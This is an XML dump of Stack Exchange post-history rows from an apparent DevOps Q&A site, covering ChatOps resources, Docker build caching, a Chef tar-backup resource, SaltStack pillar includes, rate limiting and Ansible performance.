  <row Id="3150" PostHistoryTypeId="5" PostId="941" RevisionGUID="bb360e6a-1689-4b6d-8546-69fead1709d2" CreationDate="2017-04-18T08:10:42.787" UserId="13" Comment="added 3426 characters in body" Text="From [this][1] 'awesome' chat ops resource collection.&#xD;&#xA;&#xD;&#xA;&gt; ## Articles&#xD;&#xA;&gt; &#xD;&#xA;&gt; - [So, What is ChatOps? And How do I Get Started?][2] – ChatOps concepts and tools.&#xD;&#xA;&gt; - [What is ChatOps? A guide to its evolution, adoption, and significance][3] – ChatOps and its adoption by HipChat Evangelist.&#xD;&#xA;&gt; - [How ChatOps can revolutionize your business][4] – Benefits of using ChatOps, tools, current trend and the future.&#xD;&#xA;&gt; - [8 Reasons Why ChatOps Isn't Working At Your Company][5] – The insight on why ChatOps might not be optimized at your company, and some advice&#xD;&#xA;&gt; how to make it work.&#xD;&#xA;&gt; - [When ChatOps Goes From Cool to Critical][6] – Some considerations of ChatOps at Librato.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ## Videos&#xD;&#xA;&gt; &#xD;&#xA;&gt; * [ChatOps at GitHub](https://www.youtube.com/watch?v=NST3u-GjjFw) + [slides](https://speakerdeck.com/jnewland/chatops-at-github) – The&#xD;&#xA;&gt; first public talk on the subject by Jesse Newland.&#xD;&#xA;&gt; * [ChatOps: Technology and Philosophy](https://www.youtube.com/watch?v=IhzxnY7FIvg) – James&#xD;&#xA;&gt; Fryman of Stackstorm about the philosophy, best practices for&#xD;&#xA;&gt; implementing and maintaining ChatOps.&#xD;&#xA;&gt; * [The Rise of ChatOps](https://www.youtube.com/watch?v=6D5HgI4IH10) + [slides](https://speakerdeck.com/jimmycuadra/the-rise-of-chatops) –&#xD;&#xA;&gt; From the first ChatOps San Francisco meetup by Jimmy Cuadra.&#xD;&#xA;&gt; * [ChatOps: Augmented Reality for Ops](https://www.youtube.com/watch?v=pCVvYCjvoZI) – How Github use&#xD;&#xA;&gt; chat to improve situational awareness during incidents, to share&#xD;&#xA;&gt; knowledge, to coordinate activities, and much more.&#xD;&#xA;&gt; * [Living in the Future with ChatOps](https://www.youtube.com/watch?v=Heo5YtRikds) +&#xD;&#xA;&gt; [slides](https://speakerdeck.com/esigler/living-in-the-future-with-chatops)&#xD;&#xA;&gt; – A quick summary of PagerDuty's ChatOps journey by Eric Sigler.&#xD;&#xA;&gt; * [Incident Management from the Future](https://www.youtube.com/watch?v=vFkfMn2P8ysA) +&#xD;&#xA;&gt; [slides](https://cloud.app.box.com/s/xm8ni5b61iyuk0nclq7jcvtkhkzcepdx)&#xD;&#xA;&gt; – How Michael Ansel manages incidents via chat at Box.&#xD;&#xA;&gt; * [ChatOps San Francisco YouTube Channel](https://www.youtube.com/channel/UCAvvR4g9fodNAS61Ep_XnMg) –&#xD;&#xA;&gt; More videos from each meetup.&#xD;&#xA;&gt; * [Installing Hubot on Windows with PowerShell DSC](https://www.youtube.com/watch?v=Gh-vYprIo7c) - Using the Hubot&#xD;&#xA;&gt; PowerShell Desired State Configuration (DSC) resource to install Hubot&#xD;&#xA;&gt; on Windows.&#xD;&#xA;&gt; * [Embrace ChatOps, stop installing deployment software](https://www.youtube.com/watch?v=SZ3UfwBACIo) +&#xD;&#xA;&gt; [slides](http://www.slideshare.net/geshan/embrace-chatops-stop-installing-deployment-software-larcon-eu-2016)&#xD;&#xA;&gt; - A talk from Laracon EU 2016 about how to leverage ChatOps for automated deployment using Hubot.&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; ## Books&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - [ChatOps For Dummies][7] – A high-level guide to understanding the origins    of the practice, the benefits and tools needed to get&#xD;&#xA;&gt; started.&#xD;&#xA;&gt;  - [ChatOps – Managing Operations in Group Chat][8] – The key ChatOps    concepts and technologies by Jason Hand.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;[1]: https://github.com/exAspArk/awesome-chatops&#xD;&#xA;  [2]: https://www.pagerduty.com/blog/what-is-chatops/&#xD;&#xA;  [3]: http://blogs.atlassian.com/2016/01/what-is-chatops-adoption-guide/&#xD;&#xA;  [4]: http://www.infoworld.com/article/3062703/devops/how-chatops-can-revolutionize-your-business.html&#xD;&#xA;  [5]: https://www.vividcortex.com/blog/8-reasons-why-chatops-isnt-working-at-your-company&#xD;&#xA;  [6]: http://blog.librato.com/posts/chatops-critical&#xD;&#xA;  [7]: https://victorops.com/chatops-for-dummies/&#xD;&#xA;  [8]: https://victorops.com/knowledge-drop/devops-docs/chatops-managing-operations-group-chat/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3151" PostHistoryTypeId="5" PostId="905" RevisionGUID="57d52b1d-7565-456d-81f4-88e396804904" CreationDate="2017-04-18T10:38:00.227" UserId="887" Comment="edited body" Text="I do not think that there is a single correct piece of advice for such a broad question, but here are my thoughts your situation:&#xD;&#xA;&#xD;&#xA;**As a starting point** look at your current workflow, processes, and technologies being used at the company and then research some tools&#xD;&#xA;*(Jenkins, Kubernetes, Docker, Grafana, Ansible, Kubana etc)*&#xD;&#xA;or techniques(writing your own scripts or programs) that might be useful to your company or any projects you are working on.&#xD;&#xA;&#xD;&#xA;I would also suggest maybe attending local DevOps meetups or talks in your area for more exposure.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3153" PostHistoryTypeId="5" PostId="933" RevisionGUID="692ab79e-f677-4db8-b113-7f40d92686dc" CreationDate="2017-04-18T12:40:10.777" UserId="228" Comment="added 149 characters in body" Text="One of the [people active][1] in ChatOps community is Jason Hand from [VictorOps][2], who wrote a book published by O'Reilly called [Managing Operations in Group Chat][3]. This book is available for free as part of their content marketing campaign. The previous [ChatOps for Dummies][4] is no longer available and is replaced by the above book.&#xD;&#xA;&#xD;&#xA;You should definitely take a look at [Slack Apps][5], especially the Developer Tools. There is [article][6] by [SlackStorm][7] on how to integrate Ansible and Slack.&#xD;&#xA;&#xD;&#xA;You might also monitor the subreddit on [chatops][8]. There is a long sidebar of resources including the video from GitHub ChatOps presentation and many more.&#xD;&#xA;&#xD;&#xA;I would also recommend to look at [Cog][9] from [operable.io][10] and the [Cog Book][11]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.arresteddevops.com/chatops/&#xD;&#xA;  [2]: https://victorops.com/chatops/&#xD;&#xA;  [3]: http://www.oreilly.com/webops-perf/free/chatops.csp&#xD;&#xA;  [4]: https://victorops.com/chatops-for-dummies/&#xD;&#xA;  [5]: https://slack.com/apps&#xD;&#xA;  [6]: https://stackstorm.com/2015/06/24/ansible-chatops-get-started-%F0%9F%9A%80/&#xD;&#xA;  [7]: https://stackstorm.com&#xD;&#xA;  [8]: https://www.reddit.com/r/chatops/&#xD;&#xA;  [9]: http://operable.io/cog.html&#xD;&#xA;  [10]: http://operable.io&#xD;&#xA;  [11]: http://cog-book.operable.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="3155" PostHistoryTypeId="2" PostId="942" RevisionGUID="cbf6f06d-301f-4921-9363-e6217ece6dab" CreationDate="2017-04-18T13:38:53.170" UserId="271" Text="A [tag:build-pipeline] often requires to access third party resources, aside from the source code of the artefacts it is meant to build. Each of these third party resources introduce a risk factor in builds, for instance:&#xD;&#xA;&#xD;&#xA;- Distribution repositories are temporarily unavailable, therefore installing distribution packages temporarily fails.&#xD;&#xA;&#xD;&#xA;- Distribution repositories are permanently unavailable, same and worse as before.&#xD;&#xA;&#xD;&#xA;- Some NPM free-software package stops to exist, because its author reclaimed that withdrawal.&#xD;&#xA;&#xD;&#xA;- Some source file or binary ad-hoc package for a third-party tool is not available anymore.&#xD;&#xA;&#xD;&#xA;This list could be extended *ad lib* and while studying the various reasons leading to some third-party resource to disappear is much more entertaining as it sounds, it first of all has for us a disastrous consequence: the *build-pipeline* is broken.&#xD;&#xA;&#xD;&#xA;What the is the best way to cover the two following cases when building *docker* images:&#xD;&#xA;&#xD;&#xA;1. Caching files downloaded with a *curl* or *wget*.&#xD;&#xA;2. Caching Debian packages.&#xD;&#xA;&#xD;&#xA;There are several plausible strategies that can be considered here. For instance using a proxy and configuring the build system to route all its requests through this proxy . A second, cheap, possibility would be to wrap *curl* calls to store results in a local cache.&#xD;&#xA;&#xD;&#xA;(In this question I would consider sharing the cache among several units of the build pipeline as a question of secondary importance.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3156" PostHistoryTypeId="1" PostId="942" RevisionGUID="cbf6f06d-301f-4921-9363-e6217ece6dab" CreationDate="2017-04-18T13:38:53.170" UserId="271" Text="How to cache third party resources in a build pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3157" PostHistoryTypeId="3" PostId="942" RevisionGUID="cbf6f06d-301f-4921-9363-e6217ece6dab" CreationDate="2017-04-18T13:38:53.170" UserId="271" Text="&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3158" PostHistoryTypeId="2" PostId="943" RevisionGUID="e6bd4195-0655-48db-bded-675b9058f06f" CreationDate="2017-04-18T15:27:57.607" UserId="1208" Text="while I am trying to upgrade Jenkins using chef I would like to take backup of my Jenkins job folder and also plugins. Can someone help me how to take backup for a specific folder and also zip/tar those folders to some other location using chef resource" ContentLicense="CC BY-SA 3.0" />
  <row Id="3159" PostHistoryTypeId="1" PostId="943" RevisionGUID="e6bd4195-0655-48db-bded-675b9058f06f" CreationDate="2017-04-18T15:27:57.607" UserId="1208" Text="Resource for Zip/tar a folder using chef reource" ContentLicense="CC BY-SA 3.0" />
  <row Id="3160" PostHistoryTypeId="3" PostId="943" RevisionGUID="e6bd4195-0655-48db-bded-675b9058f06f" CreationDate="2017-04-18T15:27:57.607" UserId="1208" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3162" PostHistoryTypeId="5" PostId="943" RevisionGUID="c11b5a50-c96b-48c8-ab37-073874e512a7" CreationDate="2017-04-18T15:38:19.127" UserId="1208" Comment="deleted 106 characters in body" Text="is there any chef resource to zip/tar a specific folder.Can someone help me how to take backup for a specific folder and also zip/tar those folders" ContentLicense="CC BY-SA 3.0" />
  <row Id="3163" PostHistoryTypeId="5" PostId="943" RevisionGUID="ccfba1a3-a4c8-4ecb-a1ac-b3f642c34f83" CreationDate="2017-04-18T15:42:09.240" UserId="1208" Comment="added 226 characters in body" Text="is there any chef resource to zip/tar a specific folder. Can someone help me how to take backup for a specific folder and also zip/tar those folders. I am using this as taking backup. what line I can add in this to zip/tar it&#xD;&#xA;&#xD;&#xA;    bash &quot;backup #{dir_name}&quot; do&#xD;&#xA;		user 'user'&#xD;&#xA;		cwd &quot;#{path}&quot;&#xD;&#xA;		code &lt;&lt;-EOH&#xD;&#xA;		cp -rp #{dir_name} #{dest}/#{dir_name}_bkp_#{timestmp}&#xD;&#xA;		EOH" ContentLicense="CC BY-SA 3.0" />
  <row Id="3164" PostHistoryTypeId="2" PostId="944" RevisionGUID="e013df65-d9f5-4a04-89ce-e94d0cd40f4a" CreationDate="2017-04-18T15:52:51.677" UserId="13" Text="Well that's not exactly about chef, you're basically asking how to use `tar`.&#xD;&#xA;&#xD;&#xA;The command to create an archive of a folder would be  &#xD;&#xA;`tar -zcvf &lt;backup_thing&gt;.tgz &lt;path_to_backup&gt;`&#xD;&#xA;&#xD;&#xA;In the tar options:&#xD;&#xA;&#xD;&#xA; - `z` pass the resulting tar archive to gzip for compression&#xD;&#xA; - `c` instruct tar to compress (create the archive)&#xD;&#xA; - `v` tells tar to be verbose, so you know at which point it is working, it has a performance impact&#xD;&#xA; - `f &lt;path&gt;` tells tar to output in a file or device&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;A correct chef resource for this would be as follow:&#xD;&#xA;&#xD;&#xA;    execute 'Backup #{dir_name}' do&#xD;&#xA;      user 'user'&#xD;&#xA;      command &quot;tar -zcvf #{dest}/#{dir_name}_bkp_#{timestmp}.tgz #{dir_name}&quot;&#xD;&#xA;      live_stream :true # to see the progress during chef run, remove it and v in tar option if you don't care of it.&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Using an execute resource avoid spawning a bash process to run tar, it is not needed, the `shell_out` class used by `execute` under the hood handles it already.&#xD;&#xA;&#xD;&#xA;Be warned this is not idempotent, each run of chef will redo this backup command, that's maybe not what you're after.  &#xD;&#xA;For an update of jenkins (or something else) out of usual maintenance I would do a manual backup, check it is ok, and then run the upgrade (via chef eventually).&#xD;&#xA;&#xD;&#xA;I'd recomend taking the tutorial at https://learn.chef.io and reading through the documentation at https://docs.chef.io " ContentLicense="CC BY-SA 3.0" />
  <row Id="3165" PostHistoryTypeId="5" PostId="943" RevisionGUID="e742fad9-ff5d-4bc2-b0c8-ce5d0fbb3794" CreationDate="2017-04-18T15:54:27.073" UserId="13" Comment="fixed a missing end, reformatting of the question" Text="Can someone help me how to take backup for a specific folder and also zip/tar those folders. I am using this for taking a backup actually, but I would like  a compressed output:&#xD;&#xA;&#xD;&#xA;    bash &quot;backup #{dir_name}&quot; do&#xD;&#xA;		user 'user'&#xD;&#xA;		cwd &quot;#{path}&quot;&#xD;&#xA;		code &lt;&lt;-EOH&#xD;&#xA;		  cp -rp #{dir_name} #{dest}/#{dir_name}_bkp_#{timestmp}&#xD;&#xA;		EOH&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Is there any chef resource to zip/tar a specific folder ? " ContentLicense="CC BY-SA 3.0" />
  <row Id="3166" PostHistoryTypeId="5" PostId="644" RevisionGUID="2338e81a-3b04-490f-8450-5310604ce178" CreationDate="2017-04-18T15:55:40.083" UserId="739" Comment="formatting" Text="One possible issue is that the NVM install script only writes the commands to set itself up to either `.bash_profile` OR `.bashrc`.  Depending on your systems configuration, it may only be setup for interactive shells, not ones spawned by other programs ([more info][1]).  Sourcing the nvm setup script can be a good option, as a previous comment noted.  If you have a number of commands to run for 1 make target, look into [.ONESHELL][2].  Sourcing `$NVM_DIR/nvm.sh` should take care of it.&#xD;&#xA;&#xD;&#xA;[Another option][3] that invokes bash directly with the interactive flag might work as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://apple.stackexchange.com/questions/51036/what-is-the-difference-between-bash-profile-and-bashrc&#xD;&#xA;  [2]: https://www.gnu.org/software/make/manual/html_node/One-Shell.html#One-Shell&#xD;&#xA;  [3]: http://stackoverflow.com/a/13130922" ContentLicense="CC BY-SA 3.0" />
  <row Id="3167" PostHistoryTypeId="24" PostId="644" RevisionGUID="2338e81a-3b04-490f-8450-5310604ce178" CreationDate="2017-04-18T15:55:40.083" Comment="Proposed by 739 approved by 14, 13 edit id of 291" ContentLicense="CC BY-SA 3.0" />
  <row Id="3168" PostHistoryTypeId="4" PostId="943" RevisionGUID="74fe42b0-24fd-4704-b913-5d018a59b55d" CreationDate="2017-04-18T16:29:05.517" UserId="13" Comment="edited title" Text="Zip/tar a folder using chef resource" ContentLicense="CC BY-SA 3.0" />
  <row Id="3169" PostHistoryTypeId="2" PostId="945" RevisionGUID="cc5ebe2a-a459-4739-b216-9c3fff131383" CreationDate="2017-04-18T16:56:36.223" UserId="339" Text="I'm trying to create a dummy state in Salt to pull dependencies from a list derived from a pillar.&#xD;&#xA;&#xD;&#xA;In my `top.sls` file, I have:&#xD;&#xA;&#xD;&#xA;    base:&#xD;&#xA;      '*':&#xD;&#xA;        - components&#xD;&#xA;&#xD;&#xA;Then, in `components.sls`, I have:&#xD;&#xA;&#xD;&#xA;    {% if 'components' in pillar.items() %}&#xD;&#xA;    include:&#xD;&#xA;    {% for component in pillar.get('components',[]) %}&#xD;&#xA;      - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    {% if 'components' in pillar.items() %}&#xD;&#xA;    components:&#xD;&#xA;      require:&#xD;&#xA;    {% for component in pillar.get('components',[]) %}&#xD;&#xA;        - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;When I check the pillar contents, I see:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id pillar.items&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            - a-dependency-name&#xD;&#xA;&#xD;&#xA;But when I try to see the set of states, I see:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.show_sls&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;&#xD;&#xA;...and that's it.&#xD;&#xA;&#xD;&#xA;My ultimate goal, here, is to treat the minion as hostile, so I'm trying to pull role details out of pillars instead of assigning roles in my `file_root`'s `top.sls`. It's my understanding that every minion has full access to the contents of the file_root, and I don't want a hostile minion to know the specific firewall or services of any unrelated node." ContentLicense="CC BY-SA 3.0" />
  <row Id="3170" PostHistoryTypeId="1" PostId="945" RevisionGUID="cc5ebe2a-a459-4739-b216-9c3fff131383" CreationDate="2017-04-18T16:56:36.223" UserId="339" Text="Constructing Dependencies from a Pillar in Saltstack" ContentLicense="CC BY-SA 3.0" />
  <row Id="3171" PostHistoryTypeId="3" PostId="945" RevisionGUID="cc5ebe2a-a459-4739-b216-9c3fff131383" CreationDate="2017-04-18T16:56:36.223" UserId="339" Text="&lt;process&gt;&lt;configuration-management&gt;&lt;dependency-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3172" PostHistoryTypeId="5" PostId="945" RevisionGUID="5d62bb23-186f-4a7a-b8f1-c31ca336202e" CreationDate="2017-04-18T17:14:13.987" UserId="339" Comment="Whoops, left out an argument in copying over my show_sls command." Text="I'm trying to create a dummy state in Salt to pull dependencies from a list derived from a pillar.&#xD;&#xA;&#xD;&#xA;In my `top.sls` file, I have:&#xD;&#xA;&#xD;&#xA;    base:&#xD;&#xA;      '*':&#xD;&#xA;        - components&#xD;&#xA;&#xD;&#xA;Then, in `components.sls`, I have:&#xD;&#xA;&#xD;&#xA;    {% if 'components' in pillar.items() %}&#xD;&#xA;    include:&#xD;&#xA;    {% for component in pillar.get('components',[]) %}&#xD;&#xA;      - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    {% if 'components' in pillar.items() %}&#xD;&#xA;    components:&#xD;&#xA;      require:&#xD;&#xA;    {% for component in pillar.get('components',[]) %}&#xD;&#xA;        - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;When I check the pillar contents, I see:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id pillar.items&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            - a-dependency-name&#xD;&#xA;&#xD;&#xA;But when I try to see the set of states, I see:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.show_sls components&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;&#xD;&#xA;...and that's it.&#xD;&#xA;&#xD;&#xA;My ultimate goal, here, is to treat the minion as hostile, so I'm trying to pull role details out of pillars instead of assigning roles in my `file_root`'s `top.sls`. It's my understanding that every minion has full access to the contents of the file_root, and I don't want a hostile minion to know the specific firewall or services of any unrelated node." ContentLicense="CC BY-SA 3.0" />
  <row Id="3173" PostHistoryTypeId="6" PostId="942" RevisionGUID="33eecf84-c1cc-45e4-ba4b-6d4ec2dea06a" CreationDate="2017-04-18T18:23:50.607" UserId="339" Comment="Direct question asks about conditions while building docker images" Text="&lt;docker&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3174" PostHistoryTypeId="24" PostId="942" RevisionGUID="33eecf84-c1cc-45e4-ba4b-6d4ec2dea06a" CreationDate="2017-04-18T18:23:50.607" Comment="Proposed by 339 approved by 40, 271 edit id of 292" ContentLicense="CC BY-SA 3.0" />
  <row Id="3175" PostHistoryTypeId="2" PostId="946" RevisionGUID="bcc10132-dd49-44f1-b27a-657539de0169" CreationDate="2017-04-18T20:00:43.057" UserId="339" Text="This templated SLS file works splendidly:&#xD;&#xA;&#xD;&#xA;    {% if 'components' in salt.pillar.items() %}&#xD;&#xA;    &#xD;&#xA;    include:&#xD;&#xA;    {% for component in salt.pillar.get('components') %}&#xD;&#xA;      - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;With that, the output of `salt my-minion-id state.show_sls components` is then correct:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.show_sls components&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        a-dependency-name:&#xD;&#xA;          ----------&#xD;&#xA;          ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`pillar.items()` in Jinja templates turns out not to be *quite* equivalent to `salt.pillar.items()`; if you try using `pillar.ls()`, for example, you may see the following error:&#xD;&#xA;&#xD;&#xA;    Rendering SLS 'base:components' failed: Jinja variable 'salt.pillar object' has no attribute 'ls'&#xD;&#xA;&#xD;&#xA;Whether that means one should avoid the implicit `salt.` prefix shortcut Jinja provides, or instead use a construct like `{% if pillar['components'] is defined %}` (thanks, @brousch, for the advice), I can't say." ContentLicense="CC BY-SA 3.0" />
  <row Id="3176" PostHistoryTypeId="2" PostId="947" RevisionGUID="8c36d4c2-5a85-4f64-a5e2-d05738e9303e" CreationDate="2017-04-18T20:07:54.007" UserId="2404" Text="You can also do it like:&#xD;&#xA;&#xD;&#xA;    {% if pillar['components'] is defined %}&#xD;&#xA;    include:&#xD;&#xA;    {% for component in pillar['components'] %}&#xD;&#xA;     - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;    {% if pillar['components'] is defined %}&#xD;&#xA;    components:&#xD;&#xA;      require:&#xD;&#xA;    {% for component in pillar['components'] %}&#xD;&#xA;     - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}" ContentLicense="CC BY-SA 3.0" />
  <row Id="3177" PostHistoryTypeId="2" PostId="948" RevisionGUID="62eedc7c-a091-4b5b-91e8-8007d3e06c98" CreationDate="2017-04-18T20:34:01.483" UserId="2402" Text="It looks like what you're looking for is less about caching and more about mirroring. Because your requirements have to deal with permanently unavailable packages, you need to persist the packages yourself in something more permanent than a cache. In the past, we've stored packages in persistent, cloud-based stores like S3. However, there is nothing to preclude you from setting up a custom filestore on the build server.&#xD;&#xA;&#xD;&#xA;More concretely, it's probably easiest to set up a proxy service that looks for a resource in your filestore (S3) and returns the package if it's found. Otherwise, it would just request the resource from the upstream, populate your filestore, and return the package." ContentLicense="CC BY-SA 3.0" />
  <row Id="3178" PostHistoryTypeId="2" PostId="949" RevisionGUID="7f6f174c-3dfb-40b8-886c-7fdd73faaf7f" CreationDate="2017-04-18T20:57:21.083" UserId="1202" Text="I'm not overly familiar with Docker particularly but it sounds a lot like issues one would get when building a normal .NET application or java app with the need to store their external dependencies (DLL or jar).&#xD;&#xA;&#xD;&#xA;To solve this I'm quite fond of artifactories. Two of the most popular are sonatype's [Nexus][1] and JFrog's [Artifactory][2].  Both offer a free Open Source version and both will have some way to store customised package or use it as a raw depot.  There are other options out there, I just listed these two because I've worked with them already and know they will do what you need.  As a bonus you might also be able to use them to manage the docker image directly as well.&#xD;&#xA;&#xD;&#xA;Note that some of these options might require one or another of the paid versions so YMMV.&#xD;&#xA;&#xD;&#xA;Some continuous integration systems will also support the concept of artifacts (from experience Jenkins and team-city do this, others might as well though) which should allow you do achieve similar results directly.&#xD;&#xA;&#xD;&#xA;If none of these do it for you you can look into other technologies or roll your own.  I personally like to leverage whatever I already have this reduces the maintenance required in long term and makes passing the buck easier when comes time to look for new challenges elsewhere.&#xD;&#xA;&#xD;&#xA;Hope this helps&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-software-component-management&#xD;&#xA;  [2]: https://www.jfrog.com/artifactory/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3179" PostHistoryTypeId="2" PostId="950" RevisionGUID="cc8cf2c1-58ea-4a50-aa5a-ef6195f74306" CreationDate="2017-04-18T21:11:59.380" UserId="1202" Text="Sadly I just switched jobs and I don't have access to a Jenkins instance (least not yet) so I can try it out for you.&#xD;&#xA;&#xD;&#xA;That said some ideas quickly jump in my mind that could get you there.&#xD;&#xA;&#xD;&#xA;I've had some success with the [conditional build step][1] plugin though I don't know if it would work for build timeouts.  &#xD;&#xA;&#xD;&#xA;If not directly perhaps as a means to change some values through the rest API ? Maybe using job [parameters][2] ? You could also split the job in two and call the appropriate one (with or without timeout) using a conditional build step (mentioned above)...&#xD;&#xA;&#xD;&#xA;If you are int a pipeline you could use the timeout in a jenkins file.&#xD;&#xA;https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#code-timeout-code-enforce-time-limit.&#xD;&#xA;&#xD;&#xA;let me know if any of this is helping you.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Conditional+BuildStep+Plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Parameterized+Build" ContentLicense="CC BY-SA 3.0" />
  <row Id="3180" PostHistoryTypeId="2" PostId="951" RevisionGUID="cb00ee8e-44b2-4de1-9f10-eb6cd4b444dd" CreationDate="2017-04-18T21:28:44.177" UserId="677" Text="It depends on what you're trying to avoid.&#xA;&#xA;If you are trying to avoid any service interuption of something which is a genuinely critical service (I'm thinking in terms of &quot;people will die if my API call is not appropriately served&quot;) the you need to just budget for the huge inefficiencies that come from vastly over provisioning dedicated resources. And yes they have to be dedicated, none of this allowing for traffic spikes stuff, multiple services spiking would thus cause an outage.&#xA;&#xA;In the *far* more likely scenario that you're service going down would be inconvenient you can tackle the problem both from the client and server sides. Although it's worth noting that it's logically impossible to actually solve the problem of to much traffic because without processing the traffic (which consumes resources) you can't know if it's a retry, if it's a retry for a request that was successful but incorrectly handled by the client, if it's a DDOS, etc. But you *can* mitigate impact.&#xA;&#xA;In the **client code** write sensible retry logic which has an upper limit and a mechanism for gracefully failing. That way you don't stick your users in an infinite loop of failing requests and you just give them an error telling them to try whatever they just did in little while.&#xA;&#xA;For your **server side** infrastructure the simplest solution is to throttle. Hard limits on requests, especially if you can try and spread them logically based on your specific use case (ie. If you have a centralised service make some hard decisions, do you want to start blocking geographically distant requests which might be resulting in threads hanging server side? Or do you want to distribute your inevitable yet minor outage evenly? etc) It basically boils down to the fact that returning a 503 intentionally from a gateway is a hell of a lot cheaper than letting the request go through and sending a 504 anyway. Basically force clients to behave based on what you can currently provide and provide the correct responses so that clients can react appropriately." ContentLicense="CC BY-SA 3.0" />
  <row Id="3187" PostHistoryTypeId="6" PostId="943" RevisionGUID="75fa5df9-5810-40f2-a951-761faf45cd21" CreationDate="2017-04-19T13:52:10.707" UserId="739" Comment="add backup tag" Text="&lt;chef&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3188" PostHistoryTypeId="24" PostId="943" RevisionGUID="75fa5df9-5810-40f2-a951-761faf45cd21" CreationDate="2017-04-19T13:52:10.707" Comment="Proposed by 739 approved by 40, 14 edit id of 293" ContentLicense="CC BY-SA 3.0" />
  <row Id="3189" PostHistoryTypeId="2" PostId="953" RevisionGUID="ab6fcd57-f449-4ee1-a984-d02a41349a88" CreationDate="2017-04-19T14:54:18.970" UserId="323" Text="I've got an ever expanding playbook that patches a few hundred machines to the latest version, I just add the same role with different parameters.   &#xD;&#xA;&#xD;&#xA;Obviously the playbook is taking longer and longer to run on each machine, even though it's not really doing anything on them. &#xD;&#xA;&#xD;&#xA;What I'm doing is in the pre-tasks, I'm getting a changelog file, checking that and running each of the roles when an identifier that a successful run puts in that changelog file does not exist.   But, even so, ansible still takes a fairly onerous amount of time to do nothing.  &#xD;&#xA;&#xD;&#xA;When I strace the main ansible process it looks like its trying to hit a bunch of non-existent cached facts files and the inventory script.&#xD;&#xA;&#xD;&#xA;I think I've created the dynamic inventory correctly, it accepts both the &quot;--host&quot; and &quot;--list&quot; parameters (although I'm not certain that --host is being called).  &#xD;&#xA;&#xD;&#xA;I've got about 100 devices that I haven't gathered facts for in the inventory file and I've got:&#xD;&#xA;&#xD;&#xA;    fact_caching_connection = /tmp/factscache&#xD;&#xA;    fact_caching = jsonfile&#xD;&#xA;&#xD;&#xA;set up.  &#xD;&#xA;&#xD;&#xA;If I take that out, it doesn't try to hit up the missing facts files, but it there is a `stat` in the strace against the inventory generator file over and over again. I know it can't be generating the entire inventory because that take 5 seconds.&#xD;&#xA;&#xD;&#xA;I've tried generating regular inventory files and using those, I've tried generating inventory files with both _meta and the regular host_vars (currently using _meta to house the host vars because I heard that was faster).  &#xD;&#xA;&#xD;&#xA;(running ansible 2.0) " ContentLicense="CC BY-SA 3.0" />
  <row Id="3190" PostHistoryTypeId="1" PostId="953" RevisionGUID="ab6fcd57-f449-4ee1-a984-d02a41349a88" CreationDate="2017-04-19T14:54:18.970" UserId="323" Text="Running ansible noop's faster with a dynamic inventory and cached facts files" ContentLicense="CC BY-SA 3.0" />
  <row Id="3191" PostHistoryTypeId="3" PostId="953" RevisionGUID="ab6fcd57-f449-4ee1-a984-d02a41349a88" CreationDate="2017-04-19T14:54:18.970" UserId="323" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
